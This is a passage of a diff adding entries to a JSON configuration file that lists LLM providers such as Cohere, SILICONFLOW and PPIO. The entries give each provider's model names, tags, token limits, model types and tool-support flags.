+ }
+ ]
+ },
+ {
+ "name": "LM-Studio",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,IMAGE2TEXT",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "Cohere",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING, TEXT RE-RANK",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "command-r-plus",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "command-r",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "command",
+ "tags": "LLM,CHAT,4k",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "command-nightly",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "command-light",
+ "tags": "LLM,CHAT,4k",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "command-light-nightly",
+ "tags": "LLM,CHAT,4k",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "embed-english-v3.0",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "embed-english-light-v3.0",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "embed-multilingual-v3.0",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "embed-multilingual-light-v3.0",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "embed-english-v2.0",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "embed-english-light-v2.0",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "embed-multilingual-v2.0",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 256,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "rerank-english-v3.0",
+ "tags": "RE-RANK,4k",
+ "max_tokens": 4096,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "rerank-multilingual-v3.0",
+ "tags": "RE-RANK,4k",
+ "max_tokens": 4096,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "rerank-english-v2.0",
+ "tags": "RE-RANK,512",
+ "max_tokens": 512,
+ "model_type": "rerank"
+ },
+ {
+ "llm_name": "rerank-multilingual-v2.0",
+ "tags": "RE-RANK,512",
+ "max_tokens": 512,
+ "model_type": "rerank"
+ }
+ ]
+ },
+ {
+ "name": "LeptonAI",
+ "logo": "",
+ "tags": "LLM",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "dolphin-mixtral-8x7b",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "gemma-7b",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "llama3-1-8b",
+ "tags": "LLM,CHAT,4k",
+ "max_tokens": 4096,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "llama3-8b",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "llama2-13b",
+ "tags": "LLM,CHAT,4K",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "llama3-1-70b",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "llama3-70b",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "llama3-1-405b",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "mistral-7b",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistral-8x7b",
+ "tags": "LLM,CHAT,8K",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "nous-hermes-llama2",
+ "tags": "LLM,CHAT,4k",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "openchat-3-5",
+ "tags": "LLM,CHAT,4k",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "toppy-m-7b",
+ "tags": "LLM,CHAT,4k",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "wizardlm-2-7b",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "wizardlm-2-8x22b",
+ "tags": "LLM,CHAT,64K",
+ "max_tokens": 65536,
+ "model_type": "chat"
+ }
+ ]
+ },
+ {
+ "name": "TogetherAI",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,IMAGE2TEXT",
+ "status": "1",
+ "llm": []
+ },
+ {
+ "name": "PerfXCloud",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "deepseek-v2-chat",
+ "tags": "LLM,CHAT,4k",
+ "max_tokens": 4096,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "llama3.1:405b",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen2-72B-Instruct",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen2-72B-Instruct-GPTQ-Int4",
+ "tags": "LLM,CHAT,2k",
+ "max_tokens": 2048,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen2-72B-Instruct-awq-int4",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Llama3-Chinese_v2",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Yi-1_5-9B-Chat-16K",
+ "tags": "LLM,CHAT,16k",
+ "max_tokens": 16384,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Qwen1.5-72B-Chat-GPTQ-Int4",
+ "tags": "LLM,CHAT,2k",
+ "max_tokens": 2048,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Meta-Llama-3.1-8B-Instruct",
+ "tags": "LLM,CHAT,4k",
+ "max_tokens": 4096,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen2-7B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-v2-lite-chat",
+ "tags": "LLM,CHAT,2k",
+ "max_tokens": 2048,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen2-7B",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "chatglm3-6b",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Meta-Llama-3-70B-Instruct-GPTQ-Int4",
+ "tags": "LLM,CHAT,1k",
+ "max_tokens": 1024,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Meta-Llama-3-8B-Instruct",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Mistral-7B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "MindChat-Qwen-7B-v2",
+ "tags": "LLM,CHAT,2k",
+ "max_tokens": 2048,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "phi-2",
+ "tags": "LLM,CHAT,2k",
+ "max_tokens": 2048,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "SOLAR-10_7B-Instruct",
+ "tags": "LLM,CHAT,4k",
+ "max_tokens": 4096,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Mixtral-8x7B-Instruct-v0.1-GPTQ",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Qwen1.5-7B",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "BAAI/bge-large-en-v1.5",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 512,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "BAAI/bge-large-zh-v1.5",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 1024,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "BAAI/bge-m3",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 8192,
+ "model_type": "embedding"
+ }
+ ]
+ },
+ {
+ "name": "Upstage",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "solar-1-mini-chat",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "solar-1-mini-chat-ja",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "solar-embedding-1-large-query",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 4000,
+ "model_type": "embedding"
+ },
+ {
+ "llm_name": "solar-embedding-1-large-passage",
+ "tags": "TEXT EMBEDDING",
+ "max_tokens": 4000,
+ "model_type": "embedding"
+ }
+ ]
+ },
+ {
+ "name": "NovitaAI",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "qwen/qwen2.5-7b-instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/llama-3.2-1b-instruct",
+ "tags": "LLM,CHAT,131k",
+ "max_tokens": 131000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/llama-3.2-3b-instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "thudm/glm-4-9b-0414",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "thudm/glm-z1-9b-0414",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/llama-3.1-8b-instruct-bf16",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "meta-llama/llama-3.1-8b-instruct",
+ "tags": "LLM,CHAT,16k",
+ "max_tokens": 16384,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek/deepseek-v3-0324",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek/deepseek-r1-turbo",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "Sao10K/L3-8B-Stheno-v3.2",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/llama-3.3-70b-instruct",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek/deepseek-r1-distill-llama-8b",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "mistralai/mistral-nemo",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 131072,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/llama-3-8b-instruct",
+ "tags": "LLM,CHAT,8k",
+ "max_tokens": 8192,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek/deepseek-v3-turbo",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "mistralai/mistral-7b-instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek/deepseek-r1",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek/deepseek-r1-distill-qwen-14b",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "baai/bge-m3",
+ "tags": "TEXT EMBEDDING,8K",
+ "max_tokens": 8192,
+ "model_type": "embedding"
+ }
+ ]
+ },
+ {
+ "name": "SILICONFLOW",
+ "logo": "",
+ "tags": "LLM,TEXT EMBEDDING,TEXT RE-RANK,IMAGE2TEXT",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "Qwen/Qwen3-Embedding-8B",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK,32k",
+ "max_tokens": 32000,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen/Qwen3-Embedding-4B",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK,32k",
+ "max_tokens": 32000,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen/Qwen3-Embedding-0.6B",
+ "tags": "TEXT EMBEDDING,TEXT RE-RANK,32k",
+ "max_tokens": 32000,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen/Qwen3-235B-A22B",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/Qwen3-30B-A3B",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/Qwen3-32B",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/Qwen3-14B",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/Qwen3-8B",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/QVQ-72B-Preview",
+ "tags": "LLM,CHAT,IMAGE2TEXT,32k",
+ "max_tokens": 32000,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Pro/deepseek-ai/DeepSeek-R1",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-R1",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Pro/deepseek-ai/DeepSeek-V3",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-V3",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Pro/deepseek-ai/DeepSeek-V3-1226",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Pro/deepseek-ai/DeepSeek-V3.1",
+ "tags": "LLM,CHAT,160k",
+ "max_tokens": 160000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-V3.1",
+ "tags": "LLM,CHAT,160",
+ "max_tokens": 160000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-R1-Distill-Qwen-32B",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-R1-Distill-Qwen-14B",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Pro/deepseek-ai/DeepSeek-R1-Distill-Qwen-7B",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-R1-Distill-Qwen-7B",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Pro/deepseek-ai/DeepSeek-R1-Distill-Qwen-1.5B",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-R1-Distill-Qwen-1.5B",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "deepseek-ai/DeepSeek-V2.5",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/QwQ-32B",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/Qwen2.5-VL-72B-Instruct",
+ "tags": "LLM,CHAT,IMAGE2TEXT,128k",
+ "max_tokens": 128000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Pro/Qwen/Qwen2.5-VL-7B-Instruct",
+ "tags": "LLM,CHAT,IMAGE2TEXT,32k",
+ "max_tokens": 32000,
+ "model_type": "image2text",
+ "is_tools": true
+ },
+ {
+ "llm_name": "THUDM/GLM-Z1-32B-0414",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "THUDM/GLM-4-32B-0414",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "THUDM/GLM-Z1-9B-0414",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "THUDM/GLM-4-9B-0414",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "THUDM/chatglm3-6b",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Pro/THUDM/glm-4-9b-chat",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "THUDM/GLM-Z1-Rumination-32B-0414",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "THUDM/glm-4-9b-chat",
+ "tags": "LLM,CHAT,128k",
+ "max_tokens": 128000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/QwQ-32B-Preview",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen/Qwen2.5-Coder-32B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen/Qwen2-VL-72B-Instruct",
+ "tags": "LLM,IMAGE2TEXT,32k",
+ "max_tokens": 32000,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen/Qwen2.5-72B-Instruct-128Kt",
+ "tags": "LLM,IMAGE2TEXT,128k",
+ "max_tokens": 128000,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "deepseek-ai/deepseek-vl2",
+ "tags": "LLM,IMAGE2TEXT,4k",
+ "max_tokens": 4096,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Qwen/Qwen2.5-72B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/Qwen2.5-32B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/Qwen2.5-14B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/Qwen2.5-7B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/Qwen2.5-Coder-7B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "internlm/internlm2_5-20b-chat",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "internlm/internlm2_5-7b-chat",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/Qwen2-7B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Qwen/Qwen2-1.5B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Pro/Qwen/Qwen2.5-Coder-7B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Pro/Qwen/Qwen2-VL-7B-Instruct",
+ "tags": "LLM,CHAT,IMAGE2TEXT,32k",
+ "max_tokens": 32000,
+ "model_type": "image2text",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Pro/Qwen/Qwen2.5-7B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "Pro/Qwen/Qwen2-7B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Pro/Qwen/Qwen2-1.5B-Instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat",
+ "is_tools": false
+ },
+ {
+ "llm_name": "BAAI/bge-m3",
+ "tags": "LLM,EMBEDDING,8k",
+ "max_tokens": 8192,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "BAAI/bge-reranker-v2-m3",
+ "tags": "LLM,RE-RANK,8k",
+ "max_tokens": 8192,
+ "model_type": "rerank",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Pro/BAAI/bge-m3",
+ "tags": "LLM,EMBEDDING,8k",
+ "max_tokens": 8192,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "Pro/BAAI/bge-reranker-v2-m3",
+ "tags": "LLM,RE-RANK,8k",
+ "max_tokens": 8192,
+ "model_type": "rerank",
+ "is_tools": false
+ },
+ {
+ "llm_name": "BAAI/bge-large-zh-v1.5",
+ "tags": "LLM,EMBEDDING,0.5k",
+ "max_tokens": 512,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "BAAI/bge-large-en-v1.5",
+ "tags": "LLM,EMBEDDING,0.5k",
+ "max_tokens": 512,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "netease-youdao/bce-embedding-base_v1",
+ "tags": "LLM,EMBEDDING,0.5k",
+ "max_tokens": 512,
+ "model_type": "embedding",
+ "is_tools": false
+ },
+ {
+ "llm_name": "netease-youdao/bce-reranker-base_v1",
+ "tags": "LLM,RE-RANK,0.5k",
+ "max_tokens": 512,
+ "model_type": "rerank",
+ "is_tools": false
+ }
+ ]
+ },
+ {
+ "name": "PPIO",
+ "logo": "",
+ "tags": "LLM",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "deepseek/deepseek-r1/community",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek/deepseek-v3/community",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek/deepseek-r1",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek/deepseek-v3",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek/deepseek-r1-distill-llama-70b",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek/deepseek-r1-distill-qwen-32b",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek/deepseek-r1-distill-qwen-14b",
+ "tags": "LLM,CHAT,64k",
+ "max_tokens": 64000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "deepseek/deepseek-r1-distill-llama-8b",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "qwen/qwen-2.5-72b-instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "qwen/qwen-2-vl-72b-instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/llama-3.2-3b-instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "qwen/qwen2.5-32b-instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32000,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "baichuan/baichuan2-13b-chat",
+ "tags": "LLM,CHAT,14k",
+ "max_tokens": 14336,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "meta-llama/llama-3.1-70b-instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "meta-llama/llama-3.1-8b-instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat",
+ "is_tools": true
+ },
+ {
+ "llm_name": "01-ai/yi-1.5-34b-chat",
+ "tags": "LLM,CHAT,16k",
+ "max_tokens": 16384,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "01-ai/yi-1.5-9b-chat",
+ "tags": "LLM,CHAT,16k",
+ "max_tokens": 16384,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "thudm/glm-4-9b-chat",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "qwen/qwen-2-7b-instruct",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ }
+ ]
+ },
+ {
+ "name": "01.AI",
+ "logo": "",
+ "tags": "LLM,IMAGE2TEXT",
+ "status": "1",
+ "llm": [
+ {
+ "llm_name": "yi-lightning",
+ "tags": "LLM,CHAT,16k",
+ "max_tokens": 16384,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "yi-large",
+ "tags": "LLM,CHAT,32k",
+ "max_tokens": 32768,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "yi-medium",
+ "tags": "LLM,CHAT,16k",
+ "max_tokens": 16384,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "yi-medium-200k",
+ "tags": "LLM,CHAT,200k",
+ "max_tokens": 204800,
+ "model_type": "chat"
+ },
+ {
+ "llm_name": "yi-spark",
+ "tags": "LLM,CHAT,16k",
+ "max_tokens": 16384,
